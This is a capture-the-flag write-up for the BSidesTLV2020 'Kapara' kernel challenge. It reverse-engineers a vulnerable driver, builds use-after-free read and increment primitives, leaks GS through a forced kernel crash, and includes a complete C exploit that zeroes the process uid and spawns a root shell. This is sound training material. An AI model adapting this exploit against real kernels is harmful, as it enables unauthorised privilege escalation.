Kapara

Description

problem description

Solution

An ssh address was specified to a machine with username user and password user. A zip file containing a Dockerfile, a slots.ko (Linux driver) file and a Linux image.

SSH'ing to the machine gets us to a non privileged user

$ id
uid=100(user) gid=100(users) groups=100(users)

Kernel 5.7.2 a recent kernel!

$ uname -a
Linux buildroot 5.7.2 #1 SMP Fri Jun 12 16:01:03 UTC 2020 x86_64 GNU/Linux

The container is based on debian, and has qemu running with the provided Linux image in the zip file.

Flag is here:

$ ls -l /flag
----------    1 root     root            54 Jul 12 15:20 /flag

What!? root, without any permissions...

Understanding

I wanted to minimize the distance between myself and the Linux image running, so I installed qemu on my Windows machine. I recreated the runing file for use in my qemu.

qemu-system-x86_64.exe -s -kernel bzImage -m 2048 -boot order=nc -watchdog i6300esb -rtc base=localtime -hda rootfs.ssh -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::5555-:22 -nographic -no-reboot --append "hung_task_panic=1 earlyprintk=ttyS0,115200 debug apic=debug sysrq_always_enabled rcupdate.rcu_cpu_stall_timeout=100 panic=-1 softlockup_panic=1 nmi_watchdog=panic load_ramdisk=2 prompt_ramdisk=0 console=tty0 console=ttyS0,115200 root=/dev/sda rw drbd.minor_count=8 noksalr"

The only difference from the original file, is the -s flag, that dictates to qemu to run the image with a gdb server on default port 1234. It is not needed to solve the challenge, but if I can have a debugger, why not?

Now let's start by looking at slots.ko file.

I always open my reverse engineering files in both, IDA and Ghidra, sometimes one is better to the other. Funny in this case some functions where better in Ghidra and some in IDA :-)

The file is a 64 bit ELF file Linux driver.

First look at init_module function [removed less relevant parts]:

...
printk("[%s] shalom kapara\n","kaparadev_init");
...
device_create(kaparadev_class,0,(ulong)(dev_major << 0x14),0,"kapara%d",0);
...

A device called kapara is being created.

$ ls -l /dev/kapara0
crwxrwxrwx    1 root     root      248,   0 Jul 13 09:01 /dev/kapara0

Great this device is opened for everyone, even for our poor user!

We see also a printk message that prints messages to /dev/kmsg

$ ls -l /dev/kmsg
crwxrwxrwx    1 root     root        1,  11 Jul 13 09:01 /dev/kmsg

Let's continue with the driver:

A function kaparadev_ioctl receives IOCTLs:

IOCTLs not used are not mentioned here, you are welcome to look at them also, you may find more vulnerabilities than me.

int ioctl(int fd, unsigned long request, ...);

Those are the structs used in the IOCTs

//sizeof(kapara_obj_t) == 0x28
typedef struct kapara_obj_t {
  int   channel_id;
  char  name[32];
  int   popularity;
}kapara_obj_t; 

typedef struct obj_t obj_t;

//sizeof(obj_t) == 0x18
struct obj_t {
  obj_t*        list_next;
  obj_t*        list_prev;
  kapara_obj_t* kapara;
};

0x53d - kapara_init_da

Initializes the kapara storage object if not initialized

if (idp == (astruct *)0x0) {
  idp = (astruct *)kmem_cache_alloc_trace(_DAT_001020e0,0xdc0,0x18);
  printk("[%s] initialized idp! 0x%08x:)\n","kapara_init_da",idp);
}
else {
  printk("[%s] Attempt to re-initialize idp?","kapara_init_da");
}

0x53c - kapara_object_create

Reads 0x28 bytes (kapara_obj_t) from the user pointer to a stack variable local_78.

uVar6 = __copy_from_user(&local_78,user_pointer,0x28);

Verifies if the copy succeeded and verify kapara is initialized.

if (uVar6 == 0) {
  if (idp == (astruct *)0x0) {
    printk("[%s] idp is not initialized\n","kapara_object_create");  }

Copies again the contents to another stack variable

uVar6 = __copy_from_user(&local_50,user_pointer,0x28);

Allocates an object from memory cache with size 0x18 (obj_t) and an object from memory cache with size 0x28 (kapara_obj_t) Copies the name and popularity to newly created object, and set the kapara pointer to the container object 53c_object->kapara = 53c_kapara;.

53c_object = (object *)kmem_cache_alloc_trace(_DAT_001020e0,0xcc0,0x18);
if (53c_object != (object *)0x0) {
  53c_kapara = (kapara_obj *)kmem_cache_alloc_trace(_DAT_001020e8,0xcc0,0x28);
  53c_object->kapara = 53c_kapara;
  if (53c_kapara != (kapara_obj *)0x0) {
    strscpy(53c_kapara->name,local_50.name,0x20);
    idr = idp;
    53c_object->kapara->popularity = local_50.popularity;

Allocates a handle using idr_alloc and saves the handle as channel_id parameter. Copies back the structure to user (with the channel_id filled)

53c_channel_id = idr_alloc(idr,53c_object,0,-1,0xcc0);
53c_object->kapara->channel_id = 53c_channel_id;
printk("[%s] kobj name = %s\n","kapara_object_create",53c_object->kapara->name);
pkVar2 = 53c_object->kapara;
printk("[%s] kobj.channel_id = %d, pop %d, %s\n","kapara_object_create",
        (ulong)(uint)pkVar2->channel_id,(ulong)(uint)pkVar2->popularity,pkVar2->name);
channel_id = 53c_channel_id;
printk("[%s] kapara_id = %d\n","kaparadev_ioctl",(ulong)(uint)53c_channel_id);
local_78.channel_id = channel_id;
lVar7 = _copy_to_user(user_pointer,&local_78,0x28);

0x539 - kapara_add

Reads a 0x4 byte value from the user

uVar6 = __copy_from_user(&channel_id,user_pointer,4);

Uses them as channel_id, and search for on idr container

539_object_found = (object *)idr_find(idp,(long)(int)channel_id);

Add our object using a doubly linked list to the top of the list

mutex_lock(kapara_lock);
*(object **)&(kapara->list).prev = 539_object_found;
*(object **)&(539_object_found->list).next = kapara;
pkVar2 = 539_object_found->kapara;
*(object ***)&(539_object_found->list).prev = &kapara;
kapara = 539_object_found;
printk("[%s] added kapara %d %s\n","__kapara_add",(ulong)(uint)pkVar2->popularity,
        pkVar2->name);
mutex_unlock(kapara_lock);

0x540 - Find an object on idr container

Reads a kapara object from the user

uVar6 = __copy_from_user(&local_78,user_pointer,0x28);

Finds the object using channel_id and prints the channel_id of the found object

540_object = (object *)idr_find(idp,(long)local_78.channel_id);
printk("[%s] find objid 0x%p %p %x\n","kaparadev_ioctl",540_object,540_object->kapara,
        (ulong)(uint)540_object->kapara->channel_id);
lVar7 = _copy_to_user(user_pointer,&local_78,0x28);

0x53b - Can't name this IOCTL

Reads from the user a kapara object

uVar6 = __copy_from_user(&local_78,user_pointer,0x28);

Finds a kapara object on the list, using the low bits of the address provided. For exapmple, if you want to seacrh for a channel_id 0x1, you need provide an address that user_pointer & 0xffffffff == 0x1.

I will address what __kapara_find function does afterwards.

53b_found = (object *)__kapara_find((ulong)user_pointer & 0xffffffff);

If the object is found copies the name of the found object to a stack variable using strcpy. Is stack-overflow possible? Yes, but stack canary is in place, and even if I knew the canary value it always ends with a 0 then the overflow stops at the canary and does not continue to the return address.

if (53b_found != (object *)0x0) {
  channel_id = 0;
  strcpy(local_78.name,53b_found->kapara->name);
}

Copies the found object back to the user.

mutex_unlock(kapara_lock);
printk("[%s] find kapara_id = %d kapara.name = %s\n","kaparadev_ioctl",
        (ulong)(uint)local_78.channel_id,local_78.name);
lVar7 = _copy_to_user(user_pointer,&local_78,0x28);
if (lVar7 == 0) goto LAB_001000ca;

__kapara_find

This is the function that looks better in IDA than Ghidra.

Iterates over the kapara linked list and search for the channel_id provided. If found adds one to the popularity.

for ( iterator = kapara.list.next; iterator != &kapara; iterator = iterator->list.next )
{
  v2 = iterator->kapara;
  if ( v2->channel_id == channel_id )
  {
    ++iterator->kapara->popularity;
    return iterator;
  }

0x53e - free pointers (don't remove from any list)

Reads a kapara object from user pointer

uVar6 = __copy_from_user(&local_78,user_pointer,0x28);

Takes the channel_id provided search for the object and frees both of them, and prints their pointer to the kmsg log. Great an information leak!

53e_object = (object *)idr_find(idp,(long)local_78.channel_id);
printk("freeing @ %p sizeof %d\n",53e_object,0x18);
printk("freeing @ %p sizeof %d\n",53e_object->kapara,0x28);
kfree(53e_object->kapara);
kfree(53e_object);

Let's see if we can use this for a UAF (use after free) vulnerability.

The information leak is not so harmfull as I thought at the beginnig. printk of %p on recent Linux versions does not leak the real pointer, it hashes (SipHash) the value with some random constant (created once), this is for hiding the kASLR values in one hand, but maintaning the consistency of the pointer value between the calls.

0x541 - Allocates a buffer (0x18 bytes) and copies the user contents

ptr = kmem_cache_alloc_trace(_DAT_001020e0,0xcc0,0x18);
uVar6 = __copy_from_user(ptr,user_pointer,0x18);

0x542 - Allocates a buffer (0x28 bytes) and copies the user contents

ptr2 = kmem_cache_alloc_trace(_DAT_001020e8,0xcc0,0x28);
uVar6 = __copy_from_user(ptr2,user_pointer,0x28);

Solution

The vulnerabilities

After we understand all the relevant IOCTLs lets find a way to have some read/write primitives

Read primitive

  1. Create a kapara object (0x53b)
  2. Save the channel_id
  3. Free the objects using the channel_id (0x53e)
  4. Allocate a buffer 0x28 with any data (0x542) - this should receive the same address previously by the kapara object
  5. Allocate a buffer 0x18 when kapara points to any place on the memory (0x541) - this should receive the same address previously by the kapara object
  6. Use IOCTL 0x540 and you can see that the value of (the arbitrary address)->(offset 0) being print on kmsg, you can read this from kmsg, you have an unsigned int read primitive
     node                    kapara_object
+--------------+           +--------------+
|              |    XXXXXXX|   4 bytes    | reads from here
|   8 bytes    |    X      +--------------+
+--------------+    X      |              |
|              |    X      |              |
|   8 bytes    |    X      |              |
+--------------+    X      |   32 bytes   |
|              |    X      |              |
|   8 bytes    |XXXXX      |              |
+--------------+           |              |
                           |              |
                           +--------------+
                           |   4 bytes    |
                           +--------------+

Write primitive

  1. Create a kapara object (0x53b)
  2. Save the channel_id
  3. Add the object to the kapara list (0x539)
  4. Free the objects using the channel_id (0x53e)
  5. Allocate a buffer 0x28 with any data (0x542) - this should receive the same address previously by the kapara object
  6. Allocate a buffer 0x18 when kapara points to any place on the memory you want to increment minus 0x24 as the increment is on popularity (0x541) - this should receive the same address previously by the kapara object
  7. Read the contents of the channel_id of the address we want to increment (0x540)
  8. Allocate a local buffer using mmap which fulfills address & 0xffffff == channeld_id
  9. Increment the address (0x53b)
     node                    kapara_object
+--------------+           +--------------+
|              |    XXXXXXX|   4 bytes    |
|   8 bytes    |    X      +--------------+
+--------------+    X      |              |
|              |    X      |              |
|   8 bytes    |    X      |              |
+--------------+    X      |   32 bytes   |
|              |    X      |              |
|   8 bytes    |XXXXX      |              |
+--------------+           |              |
                           |              |
                           +--------------+
                           |   4 bytes    | increments happens here
                           +--------------+

How to continue?

We want to raise our process to be priviledged, how this works on Linux? Each process in Linux has a task_struct object into the kernel memory that represents the process.

struct task_struct {
  ...
    /* Process credentials: */

    /* Tracer's credentials at attach: */
    const struct cred __rcu        *ptracer_cred;

    /* Objective and real subjective task credentials (COW): */
    const struct cred __rcu        *real_cred;

    /* Effective (overridable) subjective task credentials (COW): */
    const struct cred __rcu        *cred;  
  ...
}

In the task_struct there are two pointers real_cred and cred, those structures can point to the same place.

struct cred {
  ... 
    kuid_t        uid;        /* real UID of the task */
  ...
}

Changing the uid to 0 make our process to have root uid.

Getting the kernel be opened in IDA

  1. The file bzImage contains the kernel to loaded
  2. Use extract-vmlinux script to get vmlinux from bzImage
  3. Use vmlinux-to-elf script to transform vmlinux file to a readable ELF file

How can we get the task_struct?

Looking on IDA for example function that make fork of a process (_do_fork) and a lot of system calls (almost 4k places that references to this pointer) at the beginning they retrieve this value mov rdx, gs:pid in our case pid offset is 0x17D00, so in gs:0x17D00 I can have the current_task which is running.

The only missing part is how to get gs register from our program.

What I did is that when a crash happens in the driver, there is some crash information being printed into kmsg:

[35764.274522] BUG: kernel NULL pointer dereference, address: 0000000000000000
[35764.274522] #PF: supervisor read access in kernel mode
[35764.274522] #PF: error_code(0x0000) - not-present page
[35764.274522] PGD 7c58b067 P4D 7c58b067 PUD 7c5fb067 PMD 0
[35764.274522] Oops: 0000 [#1] SMP NOPTI
[35764.274522] CPU: 0 PID: 1495 Comm: kapara Tainted: G           O      5.7.2 #1
[35764.274522] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014
[35764.274522] RIP: 0010:kaparadev_ioctl+0x2e6/0x4c0 [slots]
[35764.274522] Code: dd 02 00 00 48 63 74 24 08 48 8b 3d 4c 21 00 00 e8 af 6d 68 d3 48 c7 c6 e0 25 36 c0 48 c7 c7 14 21 36 c0 48 8b 48 10 48 89 c2 <44> 8b 01 e8 8b e6 35 d3 ba 28 00 00 00 48 89 df 48 8d 74 24 08 e8
[35764.274522] RSP: 0018:ffffac12004abe78 EFLAGS: 00000246
[35764.274522] RAX: ffff9f54fcbdba60 RBX: 00007ffce6fb86d0 RCX: 0000000000000000
[35764.274522] RDX: ffff9f54fcbdba60 RSI: ffffffffc03625e0 RDI: ffffffffc0362114
[35764.274522] RBP: ffff9f54fc506900 R08: ffff9f54fad54248 R09: ffff9f54fad54270
[35764.274522] R10: 0000000000000000 R11: ffff9f54fcbdbb48 R12: 0000000000000540
[35764.274522] R13: 00007ffce6fb86d0 R14: 0000000000000003 R15: 0000000000000000
[35764.274522] FS:  0000000001f44880(0000) GS:ffff9f54fdc00000(0000) knlGS:0000000000000000
[35764.274522] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[35764.274522] CR2: 0000000000000000 CR3: 000000007b496000 CR4: 00000000000006f0

So what I do is the following.

  1. Search for a crash dump into kmsg
  2. If found see the GS value
  3. If not found make a crash by using our primitive read to read a NULL pointer
  4. Now we have GS address.
  5. We use the read primitive to read GS+0x17D00
  6. We read the pointers from real_cred current_task + 0x630 and cred current_task + 0x638
  7. We read the uid value of cred/real_cred
  8. We increment the value overflowing the byte
    1. In our sample uid was 0x00000064
    2. I use the increment to overflow the LSB from 0x64 to 0x00 then I have 0x00000100
    3. Now I increment the next byte until it overflows
    4. 0x00010000
    5. 0x01000000
    6. 0x00000000
    7. Yes we have zeroed the uid, the overflow has overwritten the group id which is the next member of the struct, but if we are root we don't care about our group
$ ./kapara
CRASHING NO LEAK -- 0000000000000000
Killed
$ ./kapara
GS = ffff8a03bdc00000
real_cred = 0xffff8a03bd59a240
cred = 0xffff8a03bd59a240
value = 00000064
value = 00000100
value = 00010000
value = 01000000
value = 00000000
cred new uid = 0

[email protected]:$ $ id
uid=0(root) gid=101 egid=100(users) groups=100(users)
$ cat /flag
BSidesTLV2020{IkeepForgettingToIdMyObjectsKaparaAchi}
$

Code to solve

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stropts.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <time.h>

void *memmem(const void *haystack, size_t haystacklen,
                    const void *needle, size_t needlelen);

#define exit(x) do {wait_me(2); exit(x);}while(0)

void wait_me(int a) {
    usleep(a * 1000000);
}

#define IOCTL_KAPARA_ADD                    0x539
#define IOCTL_FREE_AND_REMOVE             0x53a
#define IOCTL_READ_KAPARA_NAME_BY_ID  0x53b
#define IOCTL_KAPARA_CREATE_OBJ         0x53c
#define IOCTL_KAPARA_INIT                   0x53d
#define IOCTL_FREE_NO_REMOVE               0x53e
#define IOCTL_READ_KAPARA_28             0x540
#define IOCTL_ALLOCATE_18_AND_COPY       0x541
#define IOCTL_ALLOCATE_28_AND_COPY       0x542

typedef struct kapara_obj_t {
  int channel_id;
  char name[32];
  int popularity;
}kapara_obj_t;

typedef struct obj_t {
  void* list_next;
  void* list_prev;
  void* kapara_ptr;
}obj_t;

int create_kapara_object(const int kapara_fd, const char* name, int add);
void empty_kmsg(const int kmsg_fd);

/* https://www.kernel.org/doc/Documentation/ABI/testing/dev-kmsg
         Every read() will receive the next available record. If no more
        records are available read() will block, or if O_NONBLOCK is
        used -EAGAIN returned.

        Messages in the record ring buffer get overwritten as whole,
        there are never partial messages received by read().
*/
int read_kmsg(const int kmsg_fd, char* buf, size_t len) {
  char buffer[1024] = {0};
  char* msg_start = NULL;
  ssize_t res = read(kmsg_fd,buffer, sizeof(buffer));
  if(res > 0) {
    msg_start = strchr(buffer,';');
    if(msg_start) {
      msg_start++;
      strncpy(buf,msg_start, len);
      return 0;
    }
  }
  return 1;
}

int find_string_in_kmsg(const int kmsg_fd, 
                        const char* message, 
                        char* buff, 
                        size_t len, 
                        int full_msg) {

  int res;
  char tmp[1024] = {0};
  while((res = read_kmsg(kmsg_fd, tmp,1024)) == 0) {
    char* find_msg = strstr(tmp,message);
    if(find_msg) {
      if(!full_msg) {
        strncpy(buff, find_msg, len);
      } else {
        strncpy(buff, tmp, len);
      }
      return 0;
    }
  }
  return 1;
}

int init_kapara(int* kapara_fd) {
  if(!kapara_fd) return 1;
  int kapara = open("/dev/kapara0", O_RDWR);
  if(kapara > 0) {
    int res = ioctl(kapara, IOCTL_KAPARA_INIT, NULL);
    if(res) { 
      printf("error IOCTL_KAPARA_INIT %d\n", res);
      exit(1);
    }
    *kapara_fd = kapara;
    return 0;
  }
  printf("Could not open kapara device\n");
  exit(1);
}

int create_kapara_object(const int kapara_fd, const char* name, int add) {
  kapara_obj_t kapara_obj = {0};

  if(name) strncpy(kapara_obj.name, name, sizeof(kapara_obj.name) - 1);

  int res = ioctl(kapara_fd, IOCTL_KAPARA_CREATE_OBJ, &kapara_obj);
  if(res) { 
    printf("error IOCTL_KAPARA_CREATE_OBJ %d\n", res);
    exit(1);
  }
  if(add) {
    int res = ioctl(kapara_fd, IOCTL_KAPARA_ADD, &kapara_obj.channel_id);
    if(res) { 
      printf("error IOCTL_KAPARA_ADD %d\n", res);
      exit(1);
    }
  }
  return kapara_obj.channel_id;
}

int remove_and_allocate(const int kapara_fd,
                        const int kmsg_fd, 
                        int channel_id,
                        obj_t* new_obj,
                        kapara_obj_t *new_kapara) {
  kapara_obj_t kapara_obj = {0};
  char msg[1024] = {0};

  kapara_obj.channel_id = channel_id;
  int res = ioctl(kapara_fd, IOCTL_FREE_NO_REMOVE, &kapara_obj);
  if(res) { 
    printf("error IOCTL_FREE_NO_REMOVE %d\n", res);
    return 1;
  }

  if(new_kapara) kapara_obj = *new_kapara;

  res = ioctl(kapara_fd, IOCTL_ALLOCATE_28_AND_COPY, &kapara_obj);
  if(res) { 
    printf("error IOCTL_ALLOCATE_28_AND_COPY %d\n", res);
    fflush(stdout);
    return 1;
  }
  if(new_obj) {
    res = ioctl(kapara_fd, IOCTL_ALLOCATE_18_AND_COPY, new_obj);
    if(res) { 
      printf("error IOCTL_ALLOCATE_18_AND_COPY %d\n", res);
      return 1;
    }
  }
  return 0;
}

unsigned int read_uint(const int kapara_fd, const int kmsg_fd, void* address) {
  int channel_id = create_kapara_object(kapara_fd, "fake", 0);

  char buffer[4*1024];
  obj_t obj = {0};
  obj.kapara_ptr = address;

  remove_and_allocate(kapara_fd,kmsg_fd, channel_id,&obj,NULL);

  kapara_obj_t kapara_obj = {0};
  kapara_obj.channel_id = channel_id;
  int res = ioctl(kapara_fd, IOCTL_READ_KAPARA_28, &kapara_obj);
  if(res) { 
    printf("error IOCTL_READ_KAPARA_28 %d\n", res);
    fflush(stdout);
    exit(1);
  }
  char msg[1024] = {0};
  res = find_string_in_kmsg(kmsg_fd,"[kaparadev_ioctl] find objid",msg, 1024,0);
  void* obj_recvd;
  void* kapara;
  unsigned int value = 0;
  if(res == 0) {
    res = sscanf(msg,"[kaparadev_ioctl] find objid 0x%p %p %x", 
                                                    &obj_recvd,
                                                    &kapara,
                                                    &value);
    if(res != 3) {
      printf("ERROR read_uint\n");  
      fflush(stdout);
      exit(1);
    }
  }

  empty_kmsg(kmsg_fd);
  return value;
}

void empty_kmsg(const int kmsg_fd) {
  char msg[1024] = {0};
  while(read(kmsg_fd,msg, sizeof(msg)) > 0);
}

void read_buffer(const int kapara_fd,
                 const int kmsg_fd, 
                 void* addr, 
                 void* buffer, 
                 int size) {

  uintptr_t my_addr = (uintptr_t)addr;
  for(int i = 0 ;i<size / sizeof(int); i++) {
    int *p_int = (int *)((uintptr_t)buffer + i*sizeof(int));
    *p_int = read_uint(kapara_fd, kmsg_fd, (void*)(my_addr + i*sizeof(int)));
  }
}

uintptr_t find_gs(int kmsg_fd) {
  char msg[1024];
  uintptr_t ret = 0;
  int res = find_string_in_kmsg(kmsg_fd,"GS:",msg, 1024,1);
  if(res == 0) {
    char* gs = strstr(msg,"GS:");
    gs += 3;
    ret = strtoull(gs,NULL,16);
    return ret;
  }
  return 0;
}


uintptr_t verify_or_crash(int kapara_fd, int kmsg_fd, uintptr_t crash_address) {
  char buf[32];
  char msg[1024];
  uintptr_t ret = 0;
  sprintf(buf, "RCX: %016lx",crash_address);
  int res = find_string_in_kmsg(kmsg_fd,buf,msg, 1024,1);
  if(res == 0) {
    char* rax = strstr(msg,"RAX: ");
    rax += 5;
    ret = strtoull(rax,NULL,16);
    return ret;
  } else {
    printf("CRASHING NO LEAK -- %016lx\n", crash_address);
    fflush(stdout);
    wait_me(1);
    read_uint(kapara_fd,kmsg_fd,(void*)crash_address);
  }
  return 0;
}

void increment_value(int kapara_fd, int kmsg_fd, void* address,int increment) {
  obj_t obj = {0};
  obj.kapara_ptr = (void*)((uintptr_t)address - 0x24);

  kapara_obj_t kapara2;
  kapara2.channel_id = read_uint(kapara_fd,kmsg_fd,obj.kapara_ptr);
  memset(kapara2.name,0x41,24);
  void* address_to_alloc = 
             (void*)(0x100000000 | ((uintptr_t)kapara2.channel_id & 0xfffff000));
  char* buffer = mmap(address_to_alloc,
                     0x1000, 
                     PROT_READ | PROT_WRITE, 
                     MAP_FIXED | MAP_ANON | MAP_PRIVATE,
                     0,0);

  int channel_id2 = create_kapara_object(kapara_fd, "fake_canary", 1);
  remove_and_allocate(kapara_fd,kmsg_fd, channel_id2, &obj, NULL);

  void* address_to_ioctl = 
        (void*)((uintptr_t)buffer | ((uintptr_t)kapara2.channel_id & 0xffffffff));

  for(int i=0;i<increment;i++) {
    ioctl(kapara_fd, IOCTL_READ_KAPARA_NAME_BY_ID, address_to_ioctl, 0x28);
  }
  munmap(buffer, 0x1000);
}

int overflow_int_value(int kapara_fd, int kmsg_fd, void* adrress) {
  int value;

  read_buffer(kapara_fd,kmsg_fd,(void*)(adrress),&value, sizeof(value));

  printf("value = %08x\n", value);
  fflush(stdout);

  int byte0 = (value & 0xff);
  increment_value(kapara_fd, kmsg_fd, (void*)adrress, 0x100 - byte0);
  read_buffer(kapara_fd,kmsg_fd,(void*)(adrress),&value, sizeof(value));
  printf("value = %08x\n", value);
  fflush(stdout);

  int byte1 = (value & 0xff00) >> 8;
  increment_value(kapara_fd, kmsg_fd, (void*)adrress+1, 0x100 - byte1);
  read_buffer(kapara_fd,kmsg_fd,(void*)(adrress),&value, sizeof(value));
  printf("value = %08x\n", value);
  fflush(stdout);

  int byte2 = (value & 0xff0000) >> 16;
  increment_value(kapara_fd, kmsg_fd, (void*)adrress+2, 0x100 - byte2);
  read_buffer(kapara_fd,kmsg_fd,(void*)(adrress),&value, sizeof(value));
  printf("value = %08x\n", value);
  fflush(stdout);

  int byte3 = (value & 0xff000000) >> 24;
  increment_value(kapara_fd, kmsg_fd, (void*)adrress+3, 0x100 - byte3);
  read_buffer(kapara_fd,kmsg_fd,(void*)(adrress),&value, sizeof(value));
  printf("value = %08x\n", value);
  fflush(stdout);

  return value;
}

void main() {
  int res = 0;
  int kapara_fd = -1;
  res = init_kapara(&kapara_fd);

  int kmsg_fd = open("/dev/kmsg", O_RDONLY | O_NONBLOCK);
  if(kmsg_fd < 0) {
    printf("Could not open kmsg device\n");
    fflush(stdout);
    exit(1);
  }
  char msg[1024] = {0};


  uintptr_t some_address = verify_or_crash(kapara_fd, kmsg_fd,0x0);
  uintptr_t  gs = find_gs(kmsg_fd);

  empty_kmsg(kmsg_fd);

  printf("GS = %lx\n",gs);
  fflush(stdout);

  // offsets
  // gs + 0x17D00           - current_task
  // current_task + 0x638   - cred
  // current_task + 0x630   - real_cred
  // cred/real_cred + 0x4   - uid

  uintptr_t current_task;

  read_buffer(kapara_fd, kmsg_fd, (void*)(gs + 0x17d00),
              &current_task, sizeof(current_task));

  uintptr_t cred;
  uintptr_t real_cred;

  read_buffer(kapara_fd, kmsg_fd, (void*)(current_task + 0x638), 
              &cred, sizeof(cred));
  read_buffer(kapara_fd, kmsg_fd, (void*)(current_task + 0x630), 
              &real_cred, sizeof(real_cred));

  printf("real_cred = %p\n", (void *)real_cred);
  printf("cred = %p\n", (void *)cred);
  fflush(stdout);

  uintptr_t uid = cred + 4;

  int new_uid = overflow_int_value(kapara_fd, kmsg_fd, (void*)uid);
  printf("cred new uid = %d\n", new_uid);
  if(real_cred != cred) {
    uid = real_cred + 4;
    new_uid = overflow_int_value(kapara_fd, kmsg_fd, (void*)uid);
    printf("real_cred new uid = %d\n", new_uid);
  }
  printf("\[email protected]:$ ");
  fflush(stdout);

  execlp("/bin/sh","/bin/sh",NULL);

  exit(0);
}